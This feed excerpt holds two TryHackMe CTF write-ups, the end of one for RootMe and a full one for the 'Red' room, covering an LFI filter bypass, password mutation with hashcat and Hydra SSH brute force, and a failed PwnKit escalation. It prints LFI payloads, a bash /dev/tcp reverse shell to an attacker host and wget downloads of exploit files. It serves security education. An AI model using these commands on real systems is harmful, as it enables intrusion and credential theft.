&lt;td&gt;SUID bit set on Python interpreter&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;td&gt;Remove the SUID bit immediately: &lt;code&gt;chmod u-s /usr/bin/python2.7&lt;/code&gt;; audit all SUID binaries regularly with &lt;code&gt;find / -perm -4000&lt;/code&gt;; no interpreter should ever have SUID&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Missing &lt;code&gt;HttpOnly&lt;/code&gt; flag on &lt;code&gt;PHPSESSID&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;Set &lt;code&gt;session.cookie_httponly = 1&lt;/code&gt; in &lt;code&gt;php.ini&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;User flag in web-accessible directory&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;Store flags and sensitive files outside the webroot; &lt;code&gt;/var/www/&lt;/code&gt; is partially web-accessible depending on configuration&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Key Takeaway
&lt;/h2&gt;

&lt;p&gt;When reviewing SUID binaries, the question isn't "do I recognise this binary" — it's "should this binary ever have SUID set?" Interpreters, scripting tools, and package managers on that list are immediate red flags. A single &lt;code&gt;find / -perm -4000&lt;/code&gt; run and thirty seconds on GTFOBins is often all that stands between &lt;code&gt;www-data&lt;/code&gt; and root.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Room:&lt;/strong&gt; TryHackMe — RootMe&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>tryhackme</category>
      <category>writeup</category>
    </item>
    <item>
      <title>This Box's Admin Was Live, Online, and Actively Trying to Kick Me Out — Red (TryHackMe)</title>
      <dc:creator>Farhan Hussain</dc:creator>
      <pubDate>Sun, 01 Nov 2026 15:47:17 +0000</pubDate>
      <link>https://dev.to/cyberfarhan/this-boxs-admin-was-live-online-and-actively-trying-to-kick-me-out-red-tryhackme-46hj</link>
      <guid>https://dev.to/cyberfarhan/this-boxs-admin-was-live-online-and-actively-trying-to-kick-me-out-red-tryhackme-46hj</guid>
      <description>&lt;p&gt;&lt;strong&gt;Platform:&lt;/strong&gt; TryHackMe · &lt;strong&gt;Difficulty:&lt;/strong&gt; Medium · &lt;strong&gt;Category:&lt;/strong&gt; LFI Filter Bypass / Hashcat Rule Mutation / PwnKit&lt;/p&gt;

&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;Today's victim is a humble little Apache box hiding behind a free "Atlanta" business template — the kind of site you'd scroll past without a second glance. But scratch the surface of &lt;code&gt;index.php?page=&lt;/code&gt; and something interesting happens: the page parameter doesn't just load content, it reads files. And buried somewhere on this box are two users locked in what can only be described as a turf war — one of them is about to find out the hard way that "Red Rules" wasn't just a username flex. &lt;strong&gt;Red&lt;/strong&gt; is the only room in this series so far where the opposing user actively fought back in real time, mid-session.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Standard nmap service scan against the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-sC&lt;/span&gt; 10.49.179.19
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 62 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 62 Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Atlanta - Free business bootstrap template
|_Requested resource was /index.php?page=home.html
| http-methods:
|_  Supported Methods: GET HEAD POST
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;SSH&lt;/td&gt;
&lt;td&gt;OpenSSH 8.2p1 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;80&lt;/td&gt;
&lt;td&gt;HTTP&lt;/td&gt;
&lt;td&gt;Apache 2.4.41 (Ubuntu)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The first thing that jumps out is the URL itself: visiting the root IP redirects straight to &lt;code&gt;index.php?page=home.html&lt;/code&gt;. A &lt;code&gt;page=&lt;/code&gt; parameter that loads a &lt;code&gt;.html&lt;/code&gt; file by name is basically a neon sign reading "try LFI here."&lt;/p&gt;

&lt;p&gt;Feroxbuster was thrown at the site for good measure:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;feroxbuster &lt;span class="nt"&gt;-u&lt;/span&gt; http://10.49.179.19 &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Didn't turn up anything worth reporting — no juicy hidden directories. The real way in was always going to be that &lt;code&gt;page&lt;/code&gt; parameter.&lt;/p&gt;

&lt;h2&gt;
  
  
  Foothold
&lt;/h2&gt;

&lt;p&gt;Local File Inclusion happens when an application takes user input and feeds it directly into a file-read function (&lt;code&gt;include&lt;/code&gt;, &lt;code&gt;readfile&lt;/code&gt;, etc.) without properly validating it. If the app strips dangerous sequences like &lt;code&gt;../&lt;/code&gt; but only does it once, you can often smuggle a traversal sequence past the filter by nesting it — the classic &lt;code&gt;....//&lt;/code&gt; trick. The filter removes the inner &lt;code&gt;../&lt;/code&gt;, and what's left collapses back into a working traversal sequence.&lt;/p&gt;

&lt;p&gt;The core LFI request structure used against the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://10.49.179.19/index.php?page=php://filter/resource=.....///.....///.....///.....///[TARGET_FILE]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This nested &lt;code&gt;.....///&lt;/code&gt; sequence is the bypass: each &lt;code&gt;str_replace&lt;/code&gt; pass on &lt;code&gt;../&lt;/code&gt; or &lt;code&gt;./&lt;/code&gt; only fires once, so wrapping the traversal in extra junk characters leaves a valid &lt;code&gt;../&lt;/code&gt; behind after stripping.&lt;/p&gt;

&lt;p&gt;Rather than guessing at the filter logic, the smart move is to make the app hand over its own source. &lt;code&gt;php://filter/convert.base64-encode/resource=&lt;/code&gt; is a PHP stream wrapper that reads a file and returns it base64-encoded — useful because PHP files would otherwise just execute instead of displaying as text.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl http://10.49.179.19/index.php?page&lt;span class="o"&gt;=&lt;/span&gt;php://filter/convert.base64-encode/resource&lt;span class="o"&gt;=&lt;/span&gt;index.php &lt;span class="nt"&gt;-o&lt;/span&gt; index.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;--decode&lt;/span&gt; index.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;sanitize_input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$param&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$param1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"../"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$param&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nv"&gt;$param2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str_replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"./"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nv"&gt;$param1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nv"&gt;$param2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;$page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'page'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$page&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"/^[a-z]/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$page&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sanitize_input&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$page&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;readfile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$page&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Location: /index.php?page=home.html'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This explains everything in one shot:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The regex gate&lt;/strong&gt; (&lt;code&gt;^[a-z]&lt;/code&gt;) requires the parameter to start with a lowercase letter, so an absolute path like &lt;code&gt;/etc/passwd&lt;/code&gt; is rejected outright, since it starts with &lt;code&gt;/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The sanitization flaw&lt;/strong&gt;: &lt;code&gt;str_replace&lt;/code&gt; only runs once per pattern, no loop, no recursion — exactly why the nested &lt;code&gt;.....///&lt;/code&gt; sequence survives&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The stream wrapper advantage&lt;/strong&gt;: &lt;code&gt;php://filter&lt;/code&gt; starts with &lt;code&gt;p&lt;/code&gt;, satisfying the regex for free, and never contains &lt;code&gt;../&lt;/code&gt; at all, so it sails through &lt;code&gt;sanitize_input()&lt;/code&gt; completely untouched&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once the source confirmed the theory, it was just a matter of pointing the same wrapper at more interesting files.&lt;/p&gt;

&lt;p&gt;Apache's vhost config, read through the same LFI:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://10.49.179.19/index.php?page=php://filter/resource=/etc/apache2/sites-enabled/000-default.conf"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This confirmed &lt;code&gt;DocumentRoot&lt;/code&gt; at &lt;code&gt;/var/www/html&lt;/code&gt; and standard &lt;code&gt;${APACHE_LOG_DIR}&lt;/code&gt; log paths. An attempt to read &lt;code&gt;/proc/self/environ&lt;/code&gt; for environment variable leakage returned a blank page, likely blocked by kernel-level restrictions on that particular proc path.&lt;/p&gt;

&lt;p&gt;Enumerating &lt;code&gt;/etc/passwd&lt;/code&gt; turned up two non-system users: &lt;code&gt;blue&lt;/code&gt; and &lt;code&gt;red&lt;/code&gt;. Given the room's name and the &lt;code&gt;.reminder&lt;/code&gt; file convention common in these boxes, checking home directories for stray notes felt like the obvious next move.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://10.49.179.19/index.php?page=php://filter/resource=/home/blue/.reminder"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sup3r_p@s$w0rd!
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A bare password string sitting in a dotfile. Almost too easy — except this wasn't the actual SSH password, just the seed for one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shell / Access
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;.reminder&lt;/code&gt; string clearly wasn't going to work as-is over SSH — &lt;code&gt;bash_history&lt;/code&gt; on the box hinted that the real password had been run through a best64 rule mutation, with a strong nudge that the &lt;code&gt;red&lt;/code&gt; user ("Red rules") was the one applying it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'sup3r_p@s$w0rd!'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; .reminder
hashcat &lt;span class="nt"&gt;--stdout&lt;/span&gt; .reminder &lt;span class="nt"&gt;-r&lt;/span&gt; /usr/share/hashcat/rules/best66.rule &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; passlist.txt
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;--stdout&lt;/code&gt; — print the mutated wordlist to stdout instead of trying to crack a hash with it&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-r&lt;/code&gt; — apply a rule file, which defines mutation operations (case toggles, prepends, appends, character substitutions) to each input word&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Throwing the mutated wordlist at both discovered users:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hydra &lt;span class="nt"&gt;-l&lt;/span&gt; blue &lt;span class="nt"&gt;-P&lt;/span&gt; passlist.txt ssh://10.49.179.19
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[22][ssh] host: 10.49.179.19   login: blue   password: thesup3r_p@s$w0rd!
1 of 1 target successfully completed, 1 valid password found
# ^^^ this is the important bit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Username&lt;/th&gt;
&lt;th&gt;Password&lt;/th&gt;
&lt;th&gt;Where found&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;blue&lt;/td&gt;
&lt;td&gt;&lt;code&gt;thesup3r_p@s$w0rd!&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Hashcat best64-rule mutation of &lt;code&gt;/home/blue/.reminder&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh blue@10.49.179.19
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;blue@red:~$ ls
flag1
blue@red:~$ cat flag1
THM{Is_thAt_all_y0u_can_d0_blU3?}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First flag down. Things get weird from here. The box's prompt reads &lt;code&gt;blue@red&lt;/code&gt; — blue is SSHing into a machine whose hostname is literally "red," which lines up with the room's whole "Red Rules, Blue Drools" framing. While poking around, taunting messages started appearing directly in the terminal output — someone (presumably &lt;code&gt;red&lt;/code&gt;, scripted or live) was actively interacting with the same box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;blue@red:~$ Don't be silly Blue, you will never win
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;An attempt to add a hosts entry for a pivot domain (&lt;code&gt;redrules.thm&lt;/code&gt;) succeeded, and a reverse shell back-connect was attempted from &lt;code&gt;blue&lt;/code&gt;'s session:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"192.168.134.217 redrules.thm"&lt;/span&gt; | &lt;span class="nb"&gt;tee&lt;/span&gt; &lt;span class="nt"&gt;-a&lt;/span&gt; /etc/hosts
bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'nohup bash -i &amp;gt;&amp;amp; /dev/tcp/redrules.thm/9001 0&amp;gt;&amp;amp;1 &amp;amp;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The session got killed almost immediately:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;blue@red:~$ Say Bye Bye to your Shell Blue and that password
Get out of my machine Blue!!
Connection to 10.49.179.19 closed by remote host.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This took an embarrassingly stubborn series of reconnects to push past — the &lt;code&gt;blue&lt;/code&gt; password even appears to have been rotated mid-session (&lt;code&gt;!dr0w$s@p_r3pus&lt;/code&gt;, a reversed variant of the original), requiring another Hydra run against the same mutated wordlist to recover access:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[22][ssh] host: 10.49.179.19   login: blue   password: !dr0w$s@p_r3pus
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A subsequent message left in &lt;code&gt;/etc/hosts&lt;/code&gt; edits, decoded from base64, turned out to be another taunt rather than a useful credential:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WW91IHJlYWxseSBzdWNrIGF0IHRoaXMgQmx1ZQ=="&lt;/span&gt; | &lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;You really suck at this Blue
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Despite the interference, the reverse shell attempt from &lt;code&gt;blue&lt;/code&gt; eventually connected back to a listener:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nc &lt;span class="nt"&gt;-nvlp&lt;/span&gt; 9001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;connect to [192.168.134.217] from (UNKNOWN) [10.49.179.19] 51530
red@red:~$ ls
flag2
red@red:~$ cat flag2
THM{Y0u_won't_mak3_IT_furTH3r_th@n_th1S}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That reverse shell landed as &lt;code&gt;red&lt;/code&gt;, not &lt;code&gt;blue&lt;/code&gt; — most likely the cron job or script running &lt;code&gt;red&lt;/code&gt;'s side of the taunting also owned the process that picked up the back-connect, or &lt;code&gt;red&lt;/code&gt;'s account was what actually executed the queued reverse shell command from blue's typed input. Either way, second flag captured.&lt;/p&gt;

&lt;h2&gt;
  
  
  Escalation
&lt;/h2&gt;

&lt;p&gt;With a shell as &lt;code&gt;red&lt;/code&gt;, the standard SUID sweep was run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-perm&lt;/span&gt; &lt;span class="nt"&gt;-04000&lt;/span&gt; &lt;span class="nt"&gt;-ls&lt;/span&gt; 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Buried in the mostly standard output was something unusual:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;418507     32 -rwsr-xr-x   1 root     root        31032 Aug 14  2022 /home/red/.git/pkexec
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A SUID copy of &lt;code&gt;pkexec&lt;/code&gt; sitting inside a hidden &lt;code&gt;.git&lt;/code&gt; directory in red's own home folder — not a system path, clearly placed there deliberately as part of the challenge.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;./pkexec &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;pkexec version 0.105
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pkexec 0.105 is vulnerable to CVE-2021-4034, better known as PwnKit — a local privilege escalation flaw in Polkit's &lt;code&gt;pkexec&lt;/code&gt; caused by improper handling of argument count and environment variables, allowing an unprivileged user to escalate to root through a crafted execution context.&lt;/p&gt;

&lt;p&gt;The plan: pull down a PwnKit PoC, patch the hardcoded &lt;code&gt;pkexec&lt;/code&gt; path to point at the home-directory copy, compile, and run.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#define BIN "/usr/bin/pkexec"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;changed to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#define BIN "/home/red/.git/pkexec"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A small local web server on the attacker box served the patched exploit, a helper shared object, and a compiled binary:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wget http://192.168.134.217:4443/exploit.c
wget http://192.168.134.217:4443/evil-so.c
wget http://192.168.134.217:4443/exploit
wget http://192.168.134.217:4443/evil.so
&lt;span class="nb"&gt;chmod&lt;/span&gt; +x exploit
./exploit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./exploit: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exploit)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is the important failure line — the binary was linked against a GLIBC version the target simply doesn't have.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Root was not obtained in this run.&lt;/strong&gt; The GLIBC mismatch between the compiled exploit and the target's libc blocked PwnKit, and no alternative escalation path was found within the session. See Rabbit Holes below for the full breakdown and what the correct fix would have been.&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploitation — The Full Chain
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;index.php?page=&lt;/code&gt;&lt;/strong&gt; LFI, bypassed with nested &lt;code&gt;.....///&lt;/code&gt; traversal around a single-pass &lt;code&gt;str_replace&lt;/code&gt; filter&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;php://filter&lt;/code&gt; base64 source disclosure&lt;/strong&gt; → full &lt;code&gt;index.php&lt;/code&gt; source, confirming the sanitization flaw&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;LFI against &lt;code&gt;/home/blue/.reminder&lt;/code&gt;&lt;/strong&gt; → seed password &lt;code&gt;sup3r_p@s$w0rd!&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hashcat best64-rule mutation&lt;/strong&gt; → &lt;code&gt;passlist.txt&lt;/code&gt; → Hydra cracked &lt;code&gt;blue&lt;/code&gt;'s real SSH password&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SSH as &lt;code&gt;blue&lt;/code&gt;&lt;/strong&gt; → flag 1, then an active in-session fight with &lt;code&gt;red&lt;/code&gt; over the box&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Reverse shell back-connect&lt;/strong&gt; from &lt;code&gt;blue&lt;/code&gt;'s session → landed as &lt;code&gt;red&lt;/code&gt; → flag 2&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;SUID &lt;code&gt;pkexec&lt;/code&gt; 0.105&lt;/strong&gt; found in &lt;code&gt;red&lt;/code&gt;'s &lt;code&gt;.git/&lt;/code&gt; directory — vulnerable to PwnKit (CVE-2021-4034)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PwnKit PoC compiled on the wrong GLIBC&lt;/strong&gt; → exploit fails, root not obtained&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Rabbit Holes
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;John rule syntax fed into Hashcat.&lt;/strong&gt; The first attempt at generating the credential wordlist ran John the Ripper's &lt;code&gt;best64.rule&lt;/code&gt; file directly through Hashcat's &lt;code&gt;--stdout&lt;/code&gt; engine. Hashcat couldn't fully parse John's native rule syntax and silently dropped most of the rules, producing only 20 mutated words instead of a full expansion. Recreating a Hashcat-native version of the best64 rule set from scratch fixed this — the two tools' rule grammars aren't drop-in compatible even though they look similar on the surface.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PwnKit GLIBC mismatch.&lt;/strong&gt; The patched PwnKit exploit was compiled on a Kali Rolling attacker machine running GLIBC 2.42, while the target was Ubuntu 20.04 on GLIBC 2.31. The compiled binary ended up requiring the symbol &lt;code&gt;__libc_start_main@GLIBC_2.34&lt;/code&gt;, which doesn't exist on the target's older libc — even though the exploit's actual source code only calls older, widely-available functions like &lt;code&gt;execve&lt;/code&gt; and &lt;code&gt;system&lt;/code&gt;. The incompatibility came entirely from the build environment, not the exploit logic itself. The correct fix would have been compiling in a container or VM matching Ubuntu 20.04 / GLIBC 2.31, or compiling directly on the target — but no compiler (&lt;code&gt;gcc&lt;/code&gt;) was available on the box, and write access to install one via &lt;code&gt;apt&lt;/code&gt; was blocked by missing dpkg lock permissions. This was documented rather than chased further given time constraints.&lt;/p&gt;

